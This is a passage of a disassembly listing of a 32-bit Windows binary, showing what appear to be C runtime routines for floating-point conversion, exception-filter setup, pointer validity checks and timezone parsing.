sub_42473B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4247CC or eax, 40000h locret_4247CC: ; CODE XREF: sub_42473B+8Aj retn sub_42473B endp ; =============== S U B R O U T I N E ======================================= sub_4247CD proc near ; CODE XREF: sub_4246F0+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_4247DD push 1 pop eax loc_4247DD: ; CODE XREF: sub_4247CD+Bj test bl, 8 jz short loc_4247E4 or al, 4 loc_4247E4: ; CODE XREF: sub_4247CD+13j test bl, 4 jz short loc_4247EB or al, 8 loc_4247EB: ; CODE XREF: sub_4247CD+1Aj test bl, 2 jz short loc_4247F2 or al, 10h loc_4247F2: ; CODE XREF: sub_4247CD+21j test bl, 1 jz short loc_4247F9 or al, 20h loc_4247F9: ; CODE XREF: sub_4247CD+28j test ebx, 80000h jz short loc_424803 or al, 2 loc_424803: ; CODE XREF: sub_4247CD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424830 cmp ecx, 100h jz short loc_42482D cmp ecx, esi jz short loc_424828 cmp ecx, edx jnz short loc_424830 or ah, 0Ch jmp short loc_424830 ; --------------------------------------------------------------------------- loc_424828: ; CODE XREF: sub_4247CD+50j or ah, 8 jmp short loc_424830 ; --------------------------------------------------------------------------- loc_42482D: ; CODE XREF: sub_4247CD+4Cj or ah, 4 loc_424830: ; CODE XREF: sub_4247CD+44j ; sub_4247CD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424846 cmp ecx, 10000h jnz short loc_424848 or eax, esi jmp short loc_424848 ; --------------------------------------------------------------------------- loc_424846: ; CODE XREF: sub_4247CD+6Bj or eax, edx loc_424848: ; CODE XREF: sub_4247CD+73j ; sub_4247CD+77j pop esi test ebx, 40000h pop ebx jz short locret_424855 or ah, 10h locret_424855: ; CODE XREF: sub_4247CD+83j retn sub_4247CD endp ; =============== S U B R O U T I N E ======================================= sub_424856 proc near ; CODE XREF: sub_4248F5+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_42489B inc esi cmp esi, 3 jge short loc_424896 lea eax, [eax+esi*4] loc_424888: ; CODE XREF: sub_424856+3Ej cmp dword ptr [eax], 0 jnz short loc_42489B inc esi add eax, 4 cmp esi, 3 jl short loc_424888 loc_424896: ; CODE XREF: sub_424856+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_42489B: ; CODE XREF: sub_424856+27j ; sub_424856+35j xor eax, eax pop esi retn sub_424856 endp ; =============== S U B R O U T I N E ======================================= sub_42489F proc near ; CODE XREF: sub_4248F5+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425720 add esp, 0Ch dec esi js short loc_4248F1 lea edi, [ebx+esi*4] loc_4248D8: ; CODE XREF: sub_42489F+50j test eax, eax jz short loc_4248F1 push edi push 1 push dword ptr [edi] call sub_425720 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_4248D8 loc_4248F1: ; CODE XREF: sub_42489F+34j ; sub_42489F+3Bj pop edi pop esi pop ebx retn sub_42489F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4248F5 proc near ; CODE XREF: sub_424A50+81p ; sub_424A50+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424959 inc ebx push ebx push [ebp+arg_0] call sub_424856 pop ecx test eax, eax pop ecx jnz short loc_424956 push edi push [ebp+arg_0] call sub_42489F pop ecx mov [ebp+var_4], eax pop ecx loc_424956: ; CODE XREF: sub_4248F5+51j mov eax, [ebp+arg_4] loc_424959: ; CODE XREF: sub_4248F5+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_424979 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_424979: ; CODE XREF: sub_4248F5+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_4248F5 endp ; =============== S U B R O U T I N E ======================================= sub_424981 proc near ; CODE XREF: sub_424A50+75p ; sub_424A50+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_42498F: ; CODE XREF: sub_424981+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_42498F pop esi retn sub_424981 endp ; =============== S U B R O U T I N E ======================================= sub_42499C proc near ; CODE XREF: sub_424A50+5Fp ; sub_424A50+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_42499C endp ; =============== S U B R O U T I N E ======================================= sub_4249A8 proc near ; CODE XREF: sub_424A50+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4249AE: ; CODE XREF: sub_4249A8+12j cmp dword ptr [eax], 0 jnz short loc_4249C0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4249AE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4249C0: ; CODE XREF: sub_4249A8+9j xor eax, eax retn sub_4249A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4249C3 proc near ; CODE XREF: sub_424A50+C0p ; sub_424A50+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_4249F9: ; CODE XREF: sub_4249C3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_4249F9 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_424A2B: ; CODE XREF: sub_4249C3+86j cmp ebx, edi jl short loc_424A3E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424A45 ; --------------------------------------------------------------------------- loc_424A3E: ; CODE XREF: sub_4249C3+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424A45: ; CODE XREF: sub_4249C3+79j dec ebx sub ecx, 4 jns short loc_424A2B pop edi pop esi pop ebx leave retn sub_4249C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424A50 proc near ; CODE XREF: sub_424BBC+Dp ; sub_424BD2+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_424ABD lea eax, [ebp+var_C] xor esi, esi push eax call sub_4249A8 test eax, eax pop ecx jnz loc_424B7C lea eax, [ebp+var_C] push eax call sub_42499C pop ecx loc_424AB5: ; CODE XREF: sub_424A50+E4j push 2 loc_424AB7: ; CODE XREF: sub_424A50+110j pop eax jmp loc_424B7E ; --------------------------------------------------------------------------- loc_424ABD: ; CODE XREF: sub_424A50+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_424981 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_4248F5 add esp, 10h test eax, eax jz short loc_424ADE inc ebx loc_424ADE: ; CODE XREF: sub_424A50+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424AF6 lea eax, [ebp+var_C] push eax call sub_42499C pop ecx jmp short loc_424B32 ; --------------------------------------------------------------------------- loc_424AF6: ; CODE XREF: sub_424A50+98j cmp ebx, eax jg short loc_424B39 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_424981 lea eax, [ebp+var_C] push esi push eax call sub_4249C3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_4248F5 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4249C3 add esp, 20h loc_424B32: ; CODE XREF: sub_424A50+A4j xor esi, esi jmp loc_424AB5 ; --------------------------------------------------------------------------- loc_424B39: ; CODE XREF: sub_424A50+A8j cmp ebx, [edi] jl short loc_424B65 lea eax, [ebp+var_C] push eax call sub_42499C push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4249C3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_424AB7 ; --------------------------------------------------------------------------- loc_424B65: ; CODE XREF: sub_424A50+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4249C3 pop ecx pop ecx loc_424B7C: ; CODE XREF: sub_424A50+55j xor eax, eax loc_424B7E: ; CODE XREF: sub_424A50+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_424BAD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_424BB7 ; --------------------------------------------------------------------------- loc_424BAD: ; CODE XREF: sub_424A50+14Ej cmp edi, 20h jnz short loc_424BB7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_424BB7: ; CODE XREF: sub_424A50+15Bj ; sub_424A50+160j pop edi pop esi pop ebx leave retn sub_424A50 endp ; =============== S U B R O U T I N E ======================================= sub_424BBC proc near ; CODE XREF: sub_424BE8+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43FF98 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424A50 add esp, 0Ch retn sub_424BBC endp ; =============== S U B R O U T I N E ======================================= sub_424BD2 proc near ; CODE XREF: sub_424C15+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43FFB0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424A50 add esp, 0Ch retn sub_424BD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BE8 proc near ; CODE XREF: sub_42203B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4258C1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424BBC add esp, 24h leave retn sub_424BE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424C15 proc near ; CODE XREF: sub_42203B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4258C1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424BD2 add esp, 24h leave retn sub_424C15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424C42 proc near ; CODE XREF: sub_422079+65p ; sub_42217D+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_424C7F mov [ebp+arg_0], ebx xor ebx, ebx loc_424C65: ; CODE XREF: sub_424C42+38j mov dl, [ecx] test dl, dl jz short loc_424C71 movsx edx, dl inc ecx jmp short loc_424C74 ; --------------------------------------------------------------------------- loc_424C71: ; CODE XREF: sub_424C42+27j push 30h pop edx loc_424C74: ; CODE XREF: sub_424C42+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424C65 mov edx, [ebp+arg_8] loc_424C7F: ; CODE XREF: sub_424C42+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_424C98 cmp byte ptr [ecx], 35h jl short loc_424C98 loc_424C8B: ; CODE XREF: sub_424C42+52j dec eax cmp byte ptr [eax], 39h jnz short loc_424C96 mov byte ptr [eax], 30h jmp short loc_424C8B ; --------------------------------------------------------------------------- loc_424C96: ; CODE XREF: sub_424C42+4Dj inc byte ptr [eax] loc_424C98: ; CODE XREF: sub_424C42+42j ; sub_424C42+47j cmp byte ptr [esi], 31h jnz short loc_424CA2 inc dword ptr [edx+4] jmp short loc_424CB4 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424C42+59j push edi call sub_41B650 inc eax push eax push edi push esi call sub_41D300 add esp, 10h loc_424CB4: ; CODE XREF: sub_424C42+5Ej pop edi pop esi pop ebx pop ebp retn sub_424C42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424CB9 proc near ; CODE XREF: sub_422079+3Fp ; sub_42217D+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_424D1D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DE7C0 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_425D92 mov dword_4DE7E8, eax add esp, 18h movsx eax, byte_4DE7C2 mov dword_4DE7E0, eax pop edi movsx eax, word_4DE7C0 mov dword_4DE7E4, eax mov dword_4DE7EC, offset dword_4DE7C4 mov eax, offset dword_4DE7E0 pop esi leave retn sub_424CB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D1D proc near ; CODE XREF: sub_424CB9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_424D6B cmp ebx, edi jz short loc_424D64 lea edi, [ecx+3C00h] jmp short loc_424D8C ; --------------------------------------------------------------------------- loc_424D64: ; CODE XREF: sub_424D1D+3Dj mov edi, 7FFFh jmp short loc_424D8C ; --------------------------------------------------------------------------- loc_424D6B: ; CODE XREF: sub_424D1D+39j xor ebx, ebx cmp eax, ebx jnz short loc_424D83 cmp edx, ebx jnz short loc_424D83 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_424DCE ; --------------------------------------------------------------------------- loc_424D83: ; CODE XREF: sub_424D1D+52j ; sub_424D1D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_424D8C: ; CODE XREF: sub_424D1D+45j ; sub_424D1D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_424DA4: ; CODE XREF: sub_424D1D+A6j test ecx, esi jnz short loc_424DC5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_424DA4 ; --------------------------------------------------------------------------- loc_424DC5: ; CODE XREF: sub_424D1D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_424DCE: ; CODE XREF: sub_424D1D+64j pop edi pop esi pop ebx leave retn sub_424D1D endp ; --------------------------------------------------------------------------- push 2 call sub_41E0C9 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_424DDC proc near ; DATA XREF: sub_424E22o ; .XPack0:0043FBD8o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_424DFF cmp dword ptr [eax+10h], 3 jnz short loc_424DFF cmp dword ptr [eax+14h], 19930520h jnz short loc_424DFF jmp sub_422BFC ; --------------------------------------------------------------------------- loc_424DFF: ; CODE XREF: sub_424DDC+Dj ; sub_424DDC+13j ... mov eax, dword_4DE7F0 test eax, eax jz short loc_424E1C push eax call sub_424E78 test eax, eax pop ecx jz short loc_424E1C push esi call dword_4DE7F0 jmp short loc_424E1E ; --------------------------------------------------------------------------- loc_424E1C: ; CODE XREF: sub_424DDC+2Aj ; sub_424DDC+35j xor eax, eax loc_424E1E: ; CODE XREF: sub_424DDC+3Ej pop esi retn 4 sub_424DDC endp ; =============== S U B R O U T I N E ======================================= sub_424E22 proc near ; DATA XREF: .XPack0:0042A028o push offset sub_424DDC call dword_42801C ; SetUnhandledExceptionFilter mov dword_4DE7F0, eax retn sub_424E22 endp ; =============== S U B R O U T I N E ======================================= sub_424E33 proc near ; DATA XREF: .XPack0:0042A040o push dword_4DE7F0 call dword_42801C ; SetUnhandledExceptionFilter retn sub_424E33 endp ; =============== S U B R O U T I N E ======================================= sub_424E40 proc near ; CODE XREF: sub_422451+6Bp ; sub_422962+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_428018 ; IsBadReadPtr test eax, eax jz short loc_424E58 xor esi, esi loc_424E58: ; CODE XREF: sub_424E40+14j mov eax, esi pop esi retn sub_424E40 endp ; =============== S U B R O U T I N E ======================================= sub_424E5C proc near ; CODE XREF: sub_422962+73p ; sub_422962+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_4281D4 ; IsBadWritePtr test eax, eax jz short loc_424E74 xor esi, esi loc_424E74: ; CODE XREF: sub_424E5C+14j mov eax, esi pop esi retn sub_424E5C endp ; =============== S U B R O U T I N E ======================================= sub_424E78 proc near ; CODE XREF: sub_422962+15Bp ; sub_424DDC+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call dword_428014 ; IsBadCodePtr test eax, eax jz short loc_424E8C xor esi, esi loc_424E8C: ; CODE XREF: sub_424E78+10j mov eax, esi pop esi retn sub_424E78 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422BFC loc_424E90: ; CODE XREF: sub_422BFC:loc_422C4Dj push 0Ah call sub_423C91 push 16h call sub_426025 pop ecx pop ecx push 3 call sub_41BE32 ; END OF FUNCTION CHUNK FOR sub_422BFC ; =============== S U B R O U T I N E ======================================= sub_424EA7 proc near ; CODE XREF: sub_422D09:loc_422D48p cmp dword_4DE8B0, 0 jnz short locret_424EBB call sub_424EBC inc dword_4DE8B0 locret_424EBB: ; CODE XREF: sub_424EA7+7j retn sub_424EA7 endp ; =============== S U B R O U T I N E ======================================= sub_424EBC proc near ; CODE XREF: sub_424EA7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DE7F8, ebp mov dword_440070, ebx mov dword_440060, ebx call sub_426197 mov esi, eax pop ecx cmp esi, ebp jnz loc_424FE5 push offset dword_4DE800 call dword_4281AC ; GetTimeZoneInformation cmp eax, ebx jz loc_425114 mov eax, dword_4DE800 mov ecx, dword_4DE854 imul eax, 3Ch cmp word_4DE846, bp push 1 pop edx mov dword_43FFC8, eax mov dword_4DE7F8, edx jz short loc_424F33 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43FFC8, eax loc_424F33: ; CODE XREF: sub_424EBC+69j cmp word_4DE89A, bp jz short loc_424F57 mov eax, dword_4DE8A8 cmp eax, ebp jz short loc_424F57 sub eax, ecx mov dword_43FFCC, edx imul eax, 3Ch mov dword_43FFD0, eax jmp short loc_424F63 ; --------------------------------------------------------------------------- loc_424F57: ; CODE XREF: sub_424EBC+7Ej ; sub_424EBC+87j mov dword_43FFCC, ebp mov dword_43FFD0, ebp loc_424F63: ; CODE XREF: sub_424EBC+99j lea eax, [esp+14h+var_4] mov esi, dword_42818C push eax push ebp push 3Fh mov edi, 220h push off_440054 push ebx push offset dword_4DE804 push edi push dword_4DE694 call esi ; WideCharToMultiByte test eax, eax jz short loc_424FA0 cmp [esp+14h+var_4], ebp jnz short loc_424FA0 mov eax, off_440054 and byte ptr [eax+3Fh], 0 jmp short loc_424FA8 ; --------------------------------------------------------------------------- loc_424FA0: ; CODE XREF: sub_424EBC+D1j ; sub_424EBC+D7j mov eax, off_440054 and byte ptr [eax], 0 loc_424FA8: ; CODE XREF: sub_424EBC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_440058 push ebx push offset dword_4DE858 push edi push dword_4DE694 call esi ; WideCharToMultiByte test eax, eax jz loc_42510C cmp [esp+14h+var_4], ebp jnz loc_42510C mov eax, off_440058 and byte ptr [eax+3Fh], 0 jmp loc_425114 ; --------------------------------------------------------------------------- loc_424FE5: ; CODE XREF: sub_424EBC+2Dj cmp byte ptr [esi], 0 jz loc_425114 mov eax, dword_4DE8AC cmp eax, ebp jz short loc_425008 push eax push esi call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_425114 loc_425008: ; CODE XREF: sub_424EBC+139j push dword_4DE8AC call sub_41B721 push esi call sub_41B650 inc eax push eax call sub_41BB45 add esp, 0Ch cmp eax, ebp mov dword_4DE8AC, eax jz loc_425114 push esi push eax call sub_41C520 push 3 push esi push off_440054 call sub_41BC60 mov eax, off_440054 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42505D push 1 inc esi pop edi loc_42505D: ; CODE XREF: sub_424EBC+19Bj push esi call sub_41BD5E pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43FFC8, ecx loc_425074: ; CODE XREF: sub_424EBC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_425082 cmp al, bl jl short loc_425085 cmp al, 39h jg short loc_425085 loc_425082: ; CODE XREF: sub_424EBC+1BCj inc esi jmp short loc_425074 ; --------------------------------------------------------------------------- loc_425085: ; CODE XREF: sub_424EBC+1C0j ; sub_424EBC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_4250D8 inc esi push esi call sub_41BD5E imul eax, 3Ch pop ecx mov ecx, dword_43FFC8 add ecx, eax mov dword_43FFC8, ecx loc_4250A3: ; CODE XREF: sub_424EBC+1F2j mov al, [esi] cmp al, bl jl short loc_4250B0 cmp al, 39h jg short loc_4250B0 inc esi jmp short loc_4250A3 ; --------------------------------------------------------------------------- loc_4250B0: ; CODE XREF: sub_424EBC+1EBj ; sub_424EBC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_4250D8 inc esi push esi call sub_41BD5E pop ecx mov ecx, dword_43FFC8 add ecx, eax mov dword_43FFC8, ecx loc_4250CB: ; CODE XREF: sub_424EBC+21Aj mov al, [esi] cmp al, bl jl short loc_4250D8 cmp al, 39h jg short loc_4250D8 inc esi jmp short loc_4250CB ; --------------------------------------------------------------------------- loc_4250D8: ; CODE XREF: sub_424EBC+1CCj ; sub_424EBC+1F7j ... cmp edi, ebp jz short loc_4250E4 neg ecx mov dword_43FFC8, ecx loc_4250E4: ; CODE XREF: sub_424EBC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43FFCC, eax jz short loc_42510C push 3 push esi push off_440058 call sub_41BC60 mov eax, off_440058 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_425114 ; --------------------------------------------------------------------------- loc_42510C: ; CODE XREF: sub_424EBC+10Bj ; sub_424EBC+115j ... mov eax, off_440058 and byte ptr [eax], 0 loc_425114: ; CODE XREF: sub_424EBC+40j ; sub_424EBC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_424EBC endp ; =============== S U B R O U T I N E ======================================= sub_42511A proc near ; CODE XREF: sub_422D09+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43FFCC, edi jnz short loc_42512E loc_425127: ; CODE XREF: sub_42511A+148j ; sub_42511A+150j ... xor eax, eax jmp loc_42527A ; --------------------------------------------------------------------------- loc_42512E: ; CODE XREF: sub_42511A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_440060 jnz short loc_42514C cmp eax, dword_440070 jz loc_42524E loc_42514C: ; CODE XREF: sub_42511A+24j cmp dword_4DE7F8, edi jz loc_425224 movzx ecx, word_4DE8A6 push ecx cmp word_4DE898, di movzx ecx, word_4DE8A4 push ecx movzx ecx, word_4DE8A2 push ecx movzx ecx, word_4DE8A0 push ecx jnz short loc_42519E movzx ecx, word_4DE89C push edi push ecx movzx ecx, word_4DE89E push ecx movzx ecx, word_4DE89A push ecx push eax push ebx jmp short loc_4251B2 ; --------------------------------------------------------------------------- loc_42519E: ; CODE XREF: sub_42511A+65j movzx ecx, word_4DE89E push ecx push edi movzx ecx, word_4DE89A push edi push ecx push eax push edi loc_4251B2: ; CODE XREF: sub_42511A+82j push ebx call sub_4252C6 movzx eax, word_4DE852 add esp, 2Ch cmp word_4DE844, di push eax movzx eax, word_4DE850 push eax movzx eax, word_4DE84E push eax movzx eax, word_4DE84C push eax jnz short loc_42520C movzx eax, word_4DE848 push edi push eax movzx eax, word_4DE84A push eax movzx eax, word_4DE846 push eax push dword ptr [esi+14h] push ebx loc_425201: ; CODE XREF: sub_42511A+108j push edi call sub_4252C6 add esp, 2Ch jmp short loc_42524E ; --------------------------------------------------------------------------- loc_42520C: ; CODE XREF: sub_42511A+C8j movzx eax, word_4DE84A push eax push edi movzx eax, word_4DE846 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_425201 ; --------------------------------------------------------------------------- loc_425224: ; CODE XREF: sub_42511A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_4252C6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah loc_425241: ; DATA XREF: .XPack0:off_43B148o push dword ptr [esi+14h] push ebx push edi call sub_4252C6 add esp, 58h loc_42524E: ; CODE XREF: sub_42511A+2Cj ; sub_42511A+F0j mov edx, dword_440064 mov eax, dword_440074 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_42527E cmp ecx, edx jl loc_425127 cmp ecx, eax jg loc_425127 cmp ecx, edx jle short loc_425292 cmp ecx, eax jge short loc_425292 loc_425278: ; CODE XREF: sub_42511A+166j ; sub_42511A+16Aj mov eax, ebx loc_42527A: ; CODE XREF: sub_42511A+Fj ; sub_42511A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42527E: ; CODE XREF: sub_42511A+144j cmp ecx, eax jl short loc_425278 cmp ecx, edx jg short loc_425278 cmp ecx, eax jle short loc_425292 cmp ecx, edx jl loc_425127 loc_425292: ; CODE XREF: sub_42511A+158j ; sub_42511A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_4252B9 xor ecx, ecx cmp eax, dword_440068 setnl cl loc_4252B5: ; CODE XREF: sub_42511A+1AAj mov eax, ecx jmp short loc_42527A ; --------------------------------------------------------------------------- loc_4252B9: ; CODE XREF: sub_42511A+18Ej xor ecx, ecx cmp eax, dword_440078 setl cl jmp short loc_4252B5 sub_42511A endp ; =============== S U B R O U T I N E ======================================= 